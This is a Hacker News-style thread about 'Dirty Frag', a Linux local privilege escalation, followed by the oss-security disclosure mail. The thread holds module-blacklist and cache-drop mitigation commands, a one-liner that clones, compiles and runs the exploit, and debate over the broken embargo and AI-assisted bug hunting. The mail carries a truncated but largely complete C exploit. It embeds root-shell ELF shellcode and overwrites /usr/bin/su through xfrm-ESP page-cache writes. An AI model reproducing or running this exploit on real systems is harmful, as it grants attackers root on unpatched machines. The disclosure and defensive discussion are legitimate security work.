link: https://github.com/V4bel/dirtyfrag
detailed writeup: https://github.com/V4bel/dirtyfrag/blob/master/assets/write-...
importantly:
"Copy Fail was the motivation for starting this research. In particular, xfrm-ESP Page-Cache Write in the Dirty Frag vulnerability chain shares the same sink as Copy Fail. However, it is triggered regardless of whether the algif_aead module is available. In other words, even on systems where the publicly known Copy Fail mitigation (algif_aead blacklist) is applied, your Linux is still vulnerable to Dirty Frag."
mitigation (i have not tested or verified!):
"Because the responsible disclosure schedule and the embargo have been broken, no patch exists for any distribution. Use the following command to remove the modules in which the vulnerabilities occur."
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"
conversation around the mitigation suggests you need a reboot or run this after the above on already-exploited machines: sudo echo 3 > /prox/sys/vm/drop_cachesauthencesn didn't get fixed. Now we got the results of that, turns out you can access the same (I believe) out of bounds write through plain network sockets.
I wish I thought of that, but I didn't.
[ed.: I'm referring to the through-ESP issue. The RxRPC one is AIUI completely unrelated.]
I tried fixing the paths and even linking `/bin/bash` to the nix /run/current-system/sw/bin/bash
/etc/passwd is unmodified.
Can anyone else try? CopyFail1 did not work because `su` is only executable, not readable, CopyFail2 worked only partially (changes /etc/passwd but the user is not passwordless)
This feels like the practice of Linux distros back in 1999 when they'd ship default installs with dozens of network services exposed to the internet. Except it's not 1999 anymore.
It sounds like these two most recent exploits depend on unprivileged user namespaces, and that in fact a high percentage of LPE exploits need this feature. I use rootless containers on a couple of systems (like my dev machine server), but on most of my systems I don't, so it sounds like disabling that would be a good step to hardening my systems against future exploits.
To the security experts: are there any other straightforward configuration changes with such broad-reaching improvement in security posture? Any well-written guides on this subject, something like "top kernel modules to consider disabling if you don't need them"? I'm not talking about the obvious stuff like "disable password SSH", I'm specifically looking for steps that are statistically likely to prevent as-yet-unknown privilege escalation attacks.
Which illustrates pretty well something that's lost when relying heavily on LLMs to do work for you: exploration.
I find that doing vulnerability research using AI really hinders my creativity. When your workflow consists of asking questions and getting answers immediately, you don't get to see what's nearby. It's like a genie - you get exactly what you asked for and nothing more.
The researcher who discovered Copy Fail relied heavily on AI after noticing something fishy. If he had to manually wade through lots of code by himself, he would have many more chances to spot these twin bugs.
At the same time, I'm pretty sure that by using slightly less directed prompting, a frontier LLM would found these bugs for him too.
It's a very unusual case of negative synergy, where working together hurt performance.
Monolithic UNIX-like kernels are a bankrupt design.
Only third generation microkernels like seL4[0] make sense in the present world. All effort put elsewhere is wasted outright.
Not criticizing whoever found the bug, of course.
echo 1 | sudo tee /proc/sys/kernel/apparmor_restrict_unprivileged_userns
May also break sandboxes (e.g. browser) though.Tested locally on Ubuntu 26.04:
1. Ran the exploit and got root
2. Configured the mitigations
3. Ran `su` again with no parameters and immediately got root again unprompted
4. Cleared the page cache
5. `su` asked for a password
Linux distro maintainers are the most responsible software maintainers on the planet. Their security practices are miles beyond the stupid programming language package managers, they maintain a select list of packages, vet changes, patch bugs, resolve complex packaging issues, backport fixes, use tiered releases, distribute files to global mirrors, and cryptographically validate all files. And might I remind you, they do all this for free.
Today it's 0.1%, tomorrow it might become 100%. User demand is hard to anticipate, so it's reasonable to include small features that don't cost a lot to run by default.
It's not ideal, but you really don't want to prevent user from finishing their task, because maybe then they'll just give you a bad name and switch to another distro.
That's to say, it's not "irresponsible", it's reasonably maximums (at least trying to be).
This would reduce the amount of ring 0 code. But I've never seen such advice.
https://lore.kernel.org/lkml/2026050851-iron-hurdle-6421@gre...
https://lore.kernel.org/lkml/2026050843-unplowed-spinster-cf...
https://lore.kernel.org/lkml/2026050832-remold-faceless-bed0...
https://lore.kernel.org/lkml/2026050825-heaving-spender-13a8...
- esp4 (kernel config "CONFIG_AF_RXRPC")
- esp6 (kernel config "CONFIG_INET_ESP")
- rxrpc (kernel config "CONFIG_INET6_ESP")
Is this correct?
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Result: dirtyfrag: failed (rc=3)
Good news!2026-04-29: Submitted detailed information about the rxrpc vulnerability and a weaponized exploit that achieves root privileges on Ubuntu to security@kernel.org.
2026-04-29: Submitted the patch for the rxrpc vulnerability to the netdev mailing list. Information about this issue was published publicly.
2026-05-07: Submitted detailed information about the vulnerability and the exploit to the linux-distros mailing list. The embargo was set to 5 days, with an agreement that if a third party publishes the exploit on the internet during the embargo period, the Dirty Frag exploit would be published publicly.
2026-05-07: Detailed information and the exploit for the esp vulnerability were published publicly by an unrelated third party, breaking the embargo.
2026-05-07: After obtaining agreement from distribution maintainers to fully disclose Dirty Frag, the entire Dirty Frag document was published.
> 2026-05-07: Submitted detailed information about the vulnerability and the exploit to the linux-distros mailing list. The embargo was set to 5 days, with an agreement that if a third party publishes the exploit on the internet during the embargo period, the Dirty Frag exploit would be published publicly.
> 2026-05-07: Detailed information and the exploit for this vulnerability were published publicly by an unrelated third party, breaking the embargo.
Edit: nevermind, details are further down in the thread:
https://openwall.com/lists/oss-security/2026/05/07/12
And
And if a machine is already exploited, it's too late to do just that. You need to rebuild the whole disk image because anything on it could be compromised.
echo 3 | sudo tee /proc/sys/vm/drop_caches
or sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
Also fixed your typo in /proc...And... I remember the early days of Linux where I ran `make menuconfig` and selected exactly the functionality I wanted in my kernel. I'd... rather not end up back there.
That said a target for an easy win here is RHEL, which compiles a lot of modules into the kernel rather than leaving them as loadable modules, so the mitigation for e.g. copy fail was impossible. Maybe they could do with a few less of those?
If an attacker manages to do all that, its already bad news for you. Escalation to root with this is the least of your worries at that point.
Like someone else below posted, https://xkcd.com/1200/
People need to understand what the vulnerability actually is before freaking out about it.
Linux is open source, so every patch fixing the security bug is immediately visible to everyone. There is no workaround to that by the very design how the kernel is developed. The "embargo" people talking about is the rather stupid notion that if people keep their mouth shut and not write "THIS IS A LPE" straight in the patch description, everyone can pretend vulnerability is not leaked until the "official" message in the mailing list is sent.
This approach might have been defensible before, but in LLM era, when people have automated pipelines feeding diffs straight from the mailing lists to SotA models asking to identify probable security issues fixed by those, it is both stupid and dangerous.
We could also wonder why XZ was linked to SSH... But only on systemd-enabled distros (which is a lot of them).
Just... Why?
And then make sure to call to incompetence, instead of malice and say non-sense like "Sure, it only factually affects systemd distros, but this is totally not related to systemd". All I saw though was a systemd backdoor (sorry, exploit).
Now regarding copy.fail that just happened: not all maintainers are irresponsible. And some have, rightfully, bragged that the security measures they preemptively took in their distros made them non vulnerable.
But yup I agree it's madness. Just why. And Ubuntu is a really bad offender: it's as if they did a "yes | .." pipe to configure every single modules as an include directly in the kernel.
"We take security seriously, look we've got the IPsec backdoor (sorry, exploit) modules directly in the kernel". "There's 'sec' in 'IPsec', so we're backdoored (sorry, secure)".
"XFRM SA registration requires CAP_NET_ADMIN".
At this point, a microvm can be booted in ~200ms so you don't even have to keep a warm pool, you can just launch em on demand.
GitHub CI (actions) uses virtual machines.
2. Bsds don’t have the same optimizations that Linux has. Bsds generally try to pursue corrrectness
That being said there were just a bunch of vulnerabilities in freebsd
macOS has had its own dirty cow attack and I know there’s for sure more memory ones just based on the way the xnu kernel works.
So no Linux isn’t really worse per say
Maybe the more regularly used kernel code has a lot of low-hanging security topics shaken out of it already.
And second, I'm indeed wondering what a good path to minimize the loadable kernel code is on a system looks like. My container hosts for example have a fairly well defined set of requirements, and IPSec certainly is not in there. So why not block everything solely made to support IPSec? I'm sure there is more than that.
After all, the most reliable way to higher security is to do less things.
Transitioning components to rust eliminates certain categories of bugs leaving the rest of the bugs to be dealt with.
We'd likely end up needing another language with stronger type and effect systems to eliminate more categories of bugs. Probably something which enforces linear types, capabilities, units of measure types, and effects.
And you'd have to update linux itself to switch to capabilities.
We have forgotten what a distro is, and its modern corruption of the concept is now taken as the definition.
Distributions weren't meant to be competing generic universal bundles of userspace tools in addition to the kernel.
For anyone not on the security stream of Debian packages for Bookworm, kernel version 6.1.0-42-amd64 is actually immune to copy.fail. Surprising that it looks to be immune to dirtyfrag. If you haven't already patched on the security stream, you can choose any kernel version that kept commit 2b8bbc64b5c2. I am thinking that the same commit might accidentally be keeping certain Debian 12 kernel versions safe from dirtyfrag as well.
I don't have any guides but you can determine which kernel modules are already loaded in your system and then just compile those in and block module loading.
Otherwise, shove everything into a container, ideally gvisor, and you've reduced attack surface by a large chunk again via seccomp.
Since copy fail can be used to escape containers (https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...), I'm guessing the exploit needs some changes only.
An LPE only allows an attacker who can already execute code on the system to become root. So, bad, yes, but it doesn't mean you are immediately pwned.
Well, because you probably don't, and it's a security risk, so no need to put millions at risk for the benefit of that one person who wants to tinker with packet radio or whatever. Similarly, it would be prudent for distros to not allow autoloading of modules that are extremely niche while giving a simple way to adjust the settings if you want to. God knows they have plenty of GUI configurators and config files already.
https://durovscode.com/google-android-security-update-warnin...
If the kernel modules for esp4, esp6 and rxrpc aren't loaded - how is it that a non-root attacker can cause them to get loaded?
Native unsandboxed execution == root. Only thing that's new is some people started making websites for their LPEs.
https://github.com/google/security-research/tree/master/pocs...
Is there a counterfactual where you would say it explored well enough, besides both vulnerabilities published as one?
Android wasn't vulnerable the last time, so far it's been a shining beacon of hope for proper SELinux configuration that I wish was more widely available in other places.
For Linux/public open source, what you said is right about 2). Once the patch is visible to anyone, it's trivial to identify exploits for unpatched systems. But 1) is still a valid use-case for embargoes for Linux vulns, right? Like, if this patch had taken a few weeks to develop before being confirmed working and published, that's potentially valid grounds for not sharing details during that time (within reason), no?
> on 2026-05-05 Steffen Klassert pushed f4c50a4034 to netdev/net.git with Cc: stable@vger.kernel.org.
Once a fix is out it's usual for researchers to race to make the first exploit out of it.
sudo sysctl -w vm.drop_caches=3this is more targeted at the people who run the PoC to see if their machine is vulnerable.
just transcribing some relevant stuff from https://github.com/V4bel/dirtyfrag/issues/1 so that people visiting this thread dont need to poke around a bunch of different places.
Very much aligns with my experience. For me this is the most unsatisfying thing about AI-based workflows in general, they miss stuff humans would never miss.
All the time I wonder what am I missing that's right nearby? It's remarkable how many times I have to ask Claude code to fully ingest something before it actually puts it into context. It always tries to laser through to target it's looking for, which is often not what you want it to look for, at least not all you want it to look for. Getting these models to open up their field of vision is tough.
More information may come out, or I might be missing something, but assuming that the above is accurate, this isn't a problem with responsible disclosure or mailing list opsec; it's a problem with the nature of open source. Right? Or are folks seriously proposing that the patch/mitigations should have been circulated to distro maintainers privately before going to mainline?
The wrong thing got fixed for copy.fail, because people jumped to blame AF_ALG.
[ed.: yes it's the same authencesn issue. https://github.com/V4bel/dirtyfrag/blob/892d9a31d391b7f0fccb... it doesn't say authencesn in the code, only in a comment, but nonetheless, same issue.]
[ed.2: the RxRPC issue is separate, this is about the ESP one]
In fact, given the official public APIs, Google could replace the Linux kernel with a BSD, and userspace wouldn't notice, other than rooted devices, and the OEMs themselves baking their Android distro.
Hell, GitHub Actions would do.
However, there is a much an easier way of doing a breakout -- you can corrupt the host runc binary in a way analogous to CVE-2019-5736. The next time a container is spawned, the host runc binary will get run as as root and that's that.
Ironically, the first version of the protection against this attack I wrote also protected against page cache poisoning (by making a temporary copy of the runc binary during container setup in a sealed memfd and re-execing that) but the runtime cost of copying a 10MB binary at container startup was seen as too expensive by some users[1] so we ended up with a setup that shares the same page cache. I also distinctly remember arguing at the time that something like Dirty Cow could always happen in the future, and the memfd approach was better for that reason -- maybe I should've stuck to my guns more... :/
In practice the solution for containers is to update your seccomp policy to block the vulnerable syscall.
However, it can be used to modify files that are passed into the container (e.g. Docker run -v), or files that are shared with other containers (e.g. other Docker containers sharing the same layers). kube-proxy with Kubernetes happens to share a trusted binary with containers by default, which is how it can be exploited: https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...
- more people are using it (assuming macos is in its own bucket perhaps) - bigger surface areas (esp NetBSD has in my limited understanding just less stuff that can go boom) - more churn, ie more new stuff than can be buggy released more often.
Of course, because of that, more eyes are on Linux, so I'm not sure where that security tradeoff is.
Par for the course for HN.
No reason why you couldn’t just `dnf install -y kmod-rxrpc` if for whatever reason you need that.
Or, y'know, offer some forms of compute as a service.
Within an hour of be advised of, and running the mitigation for DirtyFrag, my upstream provider has blocked all WHM/cPanel/SSH/FTP/SFTP access with a heads-up on:
CVE-2026-29201 CVE-2026-29202 CVE-2026-29203
which look like a repeat of CVE-2026-41940 a week ago.
> All the time I wonder what am I missing that's right nearby?
Add to the prompt "use coding conventions of the file which you are currently editing". That gets the machine (Opus and Sonnet at least) to go over the nearby code and occasionally mention something obvious.I always assumed that distro maintainers got early access to patches before going mainline but maybe that’s not true?
I have found that the “pro” approach is much more holistic and able to tackle rather “creative” problems that require very careful design and the overall artifact is tight and self-consistent. — Claude Code by comparison is incredible in exploration and targeted implementation but indeed is not great at seeing the forest.
Usually, nobody even bothers to check. LPEs like this are too common to even categorise effectively.
https://durovscode.com/google-android-security-update-warnin...
But this is very similar to Copy Fail, and I'm assuming there was an assumption that others might also discover this soon as well. Hence the urgency.
At least that's my charitable interpretation.
Having a service that automatically starts and listens on the network is radically different from having a module that a local administrator can load.
If you want to block module loads, you’re one sysctl flag away.
But what if a coding agent was prompted to be more curious during development? Like a human developer, make mental notes of alternatives to try out and chase suspicious looking code which may seem unrelated to the task at hand. It could even spawn rabbit hole agents in parallel.
Taking a step back, this probably highlights major hazard with the increased usage of LLMs for coding, which is that everyone's style of work is going to converge because most code will be written by the 2-3 most popular models using the same system prompts.
I bet that with a slightly looser prompt/harness, the LLM could have found these twin bugs too.
Yet at the same time, I also think that if the human researcher had manually scanned the code, he'd have noticed these bugs too.
FWIW I do think LLMs are great tools for finding vulnerabilities in general. Just that they were visibly not optimally applied in this case.
Also I see you jumping around a lot to the defense of LLMs when I don’t think anyone is really attacking them. Maybe cool it a bit.
I think LLMs are great for vulnerability discovery, but you need to not skimp on the legwork and understanding what even you just found there.
> This finding was AI-assisted, but began with an insight from Theori researcher Taeyang Lee, who was studying how the Linux crypto subsystem interacts with page-cache-backed data.
The RxRPC one is definitely a different root cause (although caused by a very similar mistake).
For the ESP one it's a bit harder to tell. I don't think the wrong thing was fixed, just that there was a very similar bug in almost the same spot. Could be wrong about that though.
If there's a root cronjob that runs a world readable binary, you could modify it in the page cache and exploit it that way.
Modifying the page cache is a really strong primitive with countless ways to exploit it.
Can you elaborate?
I would assume AWS is pretty on the ball when it comes to handling stuff like this if they didn't have other defenses or mitigations in place already.
This is a successful local privilege escalation, so local administrator privs were not needed. In default configuration of all distros, apparently.
> If you want to block module loads, you’re one sysctl flag away.
The modules aren't really the point, it's that unnecessary features (to 99% of us?) were accessible by default without privs.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <afzgS2SCWNcZU3vU@v4bel> Date: Fri, 8 May 2026 03:56:11 +0900 From: Hyunwoo Kim <imv4bel@...il.com> To: oss-security@...ts.openwall.com Cc: imv4bel@...il.com Subject: Dirty Frag: Universal Linux LPE
Hi,
This is a report on "Dirty Frag", a universal LPE that allows obtaining root privileges on all major distributions.
This vulnerability has a similar impact to the previous Copy Fail.
Because the embargo has now been broken, no patches or CVEs exist for these vulnerabilities. After consultation with the linux-distros@...openwall.org maintainers, and at the maintainers' request, I am publicly releasing this Dirty Frag document.
As with the previous Copy Fail vulnerability, Dirty Frag likewise allows immediate root privilege escalation on all major distributions, and it chains two separate vulnerabilities:
Because the responsible disclosure schedule and embargo have been broken, no patches exist for any distribution. Use the following command to remove the modules in which the vulnerabilities occur: ``` sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true" ```
For detailed technical information about the vulnerabilities and the reason the embargo was broken, please check https://dirtyfrag.io.
Full exploit code: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sched.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h>
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
/* * 192-byte minimal x86_64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell's env silences the * "tput: No value for $TERM" / "test: : integer expected" noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * "TERM=xterm\0" (offset 0xa5..0xaf) * "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf\[4096\] = {0};
struct nlmsghdr \*nlh = (struct nlmsghdr \*)buf;
nlh->nlmsg\_type = XFRM\_MSG\_NEWSA;
nlh->nlmsg\_flags = NLM\_F\_REQUEST | NLM\_F\_ACK;
nlh->nlmsg\_pid = getpid();
nlh->nlmsg\_seq = 1;
nlh->nlmsg\_len = NLMSG\_LENGTH(sizeof(struct xfrm\_usersa\_info));
struct xfrm\_usersa\_info \*xs = (struct xfrm\_usersa\_info \*)NLMSG\_DATA(nlh);
xs->id.daddr.a4 = inet\_addr("127.0.0.1");
xs->id.spi = htonl(spi);
xs->id.proto = IPPROTO\_ESP;
xs->saddr.a4 = inet\_addr("127.0.0.1");
xs->family = AF\_INET;
xs->mode = XFRM\_MODE\_TRANSPORT;
xs->replay\_window = 0;
xs->reqid = 0x1234;
xs->flags = XFRM\_STATE\_ESN;
xs->lft.soft\_byte\_limit = (uint64\_t)-1;
xs->lft.hard\_byte\_limit = (uint64\_t)-1;
xs->lft.soft\_packet\_limit = (uint64\_t)-1;
xs->lft.hard\_packet\_limit = (uint64\_t)-1;
xs->sel.family = AF\_INET;
xs->sel.prefixlen\_d = 32;
xs->sel.prefixlen\_s = 32;
xs->sel.daddr.a4 = inet\_addr("127.0.0.1");
xs->sel.saddr.a4 = inet\_addr("127.0.0.1");
{
char alg\_buf\[sizeof(struct xfrm\_algo\_auth) + 32\];
memset(alg\_buf, 0, sizeof(alg\_buf));
struct xfrm\_algo\_auth \*aa = (struct xfrm\_algo\_auth \*)alg\_buf;
strncpy(aa->alg\_name, "hmac(sha256)", sizeof(aa->alg\_name)-1);
aa->alg\_key\_len = 32 \* 8;
aa->alg\_trunc\_len = 128;
memset(aa->alg\_key, 0xAA, 32);
put\_attr(nlh, XFRMA\_ALG\_AUTH\_TRUNC, alg\_buf, sizeof(alg\_buf));
}
{
char alg\_buf\[sizeof(struct xfrm\_algo) + 16\];
memset(alg\_buf, 0, sizeof(alg\_buf));
struct xfrm\_algo \*ea = (struct xfrm\_algo \*)alg\_buf;
strncpy(ea->alg\_name, "cbc(aes)", sizeof(ea->alg\_name)-1);
ea->alg\_key\_len = 16 \* 8;
memset(ea->alg\_key, 0xBB, 16);
put\_attr(nlh, XFRMA\_ALG\_CRYPT, alg\_buf, sizeof(alg\_buf));
}
{
struct xfrm\_encap\_tmpl enc;
memset(&enc, 0, sizeof(enc));
enc.encap\_type = UDP\_ENCAP\_ESPINUDP;
enc.encap\_sport = htons(ENC\_PORT);
enc.encap\_dport = htons(ENC\_PORT);
enc.encap\_oa.a4 = 0;
put\_attr(nlh, XFRMA\_ENCAP, &enc, sizeof(enc));
}
{
char esn\_buf\[sizeof(struct xfrm\_replay\_state\_esn) + 4\];
memset(esn\_buf, 0, sizeof(esn\_buf));
struct xfrm\_replay\_state\_esn \*esn = (struct xfrm\_replay\_state\_esn \*)esn\_buf;
esn->bmp\_len = 1;
esn->oseq = 0;
esn->seq = REPLAY\_SEQ;
esn->oseq\_hi = 0;
esn->seq\_hi = patch\_seqhi;
esn->replay\_window = 32;
put\_attr(nlh, XFRMA\_REPLAY\_ESN\_VAL, esn\_buf, sizeof(esn\_buf));
}
if (send(sk, nlh, nlh->nlmsg\_len, 0) < 0) { close(sk); return -1; }
char rbuf\[4096\];
int n = recv(sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { close(sk); return -1; }
struct nlmsghdr \*rh = (struct nlmsghdr \*)rbuf;
if (rh->nlmsg\_type == NLMSG\_ERROR) {
struct nlmsgerr \*e = NLMSG\_DATA(rh);
if (e->error) { close(sk); return -1; }
}
close(sk);
return 0;
}
static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
int pfd\[2\];
if (pipe(pfd) < 0) { close(file\_fd); close(sk\_send); close(sk\_recv); return -1; }
uint8\_t hdr\[24\];
\*(uint32\_t\*)(hdr + 0) = htonl(spi);
\*(uint32\_t\*)(hdr + 4) = htonl(SEQ\_VAL);
memset(hdr + 8, 0xCC, 16);
struct iovec iov\_h = { .iov\_base = hdr, .iov\_len = sizeof(hdr) };
if (vmsplice(pfd\[1\], &iov\_h, 1, 0) != (ssize\_t)sizeof(hdr)) {
close(file\_fd); close(pfd\[0\]); close(pfd\[1\]); close(sk\_send); close(sk\_recv); return -1;
}
off\_t off = offset;
ssize\_t s = splice(file\_fd, &off, pfd\[1\], NULL, 16, SPLICE\_F\_MOVE);
if (s != 16) {
close(file\_fd); close(pfd\[0\]); close(pfd\[1\]); close(sk\_send); close(sk\_recv); return -1;
}
s = splice(pfd\[0\], NULL, sk\_send, NULL, 24 + 16, SPLICE\_F\_MOVE);
/\* still proceed regardless of splice rc — kernel may have already
\* decrypted the page in the time between splice and recv \*/
usleep(150 \* 1000);
close(file\_fd); close(pfd\[0\]); close(pfd\[1\]);
close(sk\_send); close(sk\_recv);
return s == 40 ? 0 : -1;
}
static int verify_byte(const char *path, off_t offset, uint8_t want) { int fd = open(path, O_RDONLY); if (fd < 0) return -1; uint8_t got; if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } close(fd); return got == want ? 0 : -1; }
static int corrupt_su(void) { setup_userns_netns(); usleep(100 * 1000);
/\* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the
\* desired payload word in its seq\_hi field. \*/
for (int i = 0; i < PAYLOAD\_LEN / 4; i++) {
uint32\_t spi = 0xDEADBE10 + i;
uint32\_t seqhi =
((uint32\_t)shell\_elf\[i\*4 + 0\] << 24) |
((uint32\_t)shell\_elf\[i\*4 + 1\] << 16) |
((uint32\_t)shell\_elf\[i\*4 + 2\] << 8) |
((uint32\_t)shell\_elf\[i\*4 + 3\]);
if (add\_xfrm\_sa(spi, seqhi) < 0) {
SLOG("add\_xfrm\_sa #%d failed", i);
return -1;
}
}
SLOG("installed %d xfrm SAs", PAYLOAD\_LEN / 4);
for (int i = 0; i < PAYLOAD\_LEN / 4; i++) {
uint32\_t spi = 0xDEADBE10 + i;
off\_t off = PATCH\_OFFSET + i \* 4;
if (do\_one\_write(TARGET\_PATH, off, spi) < 0) {
SLOG("do\_one\_write #%d at off=0x%lx failed", i, (long)off);
return -1;
}
}
SLOG("wrote %d bytes to %s starting at 0x%x",
PAYLOAD\_LEN, TARGET\_PATH, PATCH\_OFFSET);
return 0;
}
int su_lpe_main(int argc, char **argv) { for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) g_su_verbose = 1; else if (!strcmp(argv[i], "--corrupt-only")) ; /* compat: this body always corrupts only */ } if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
pid\_t cpid = fork();
if (cpid < 0) return 1;
if (cpid == 0) {
int rc = corrupt\_su();
\_exit(rc == 0 ? 0 : 2);
}
int cstatus;
waitpid(cpid, &cstatus, 0);
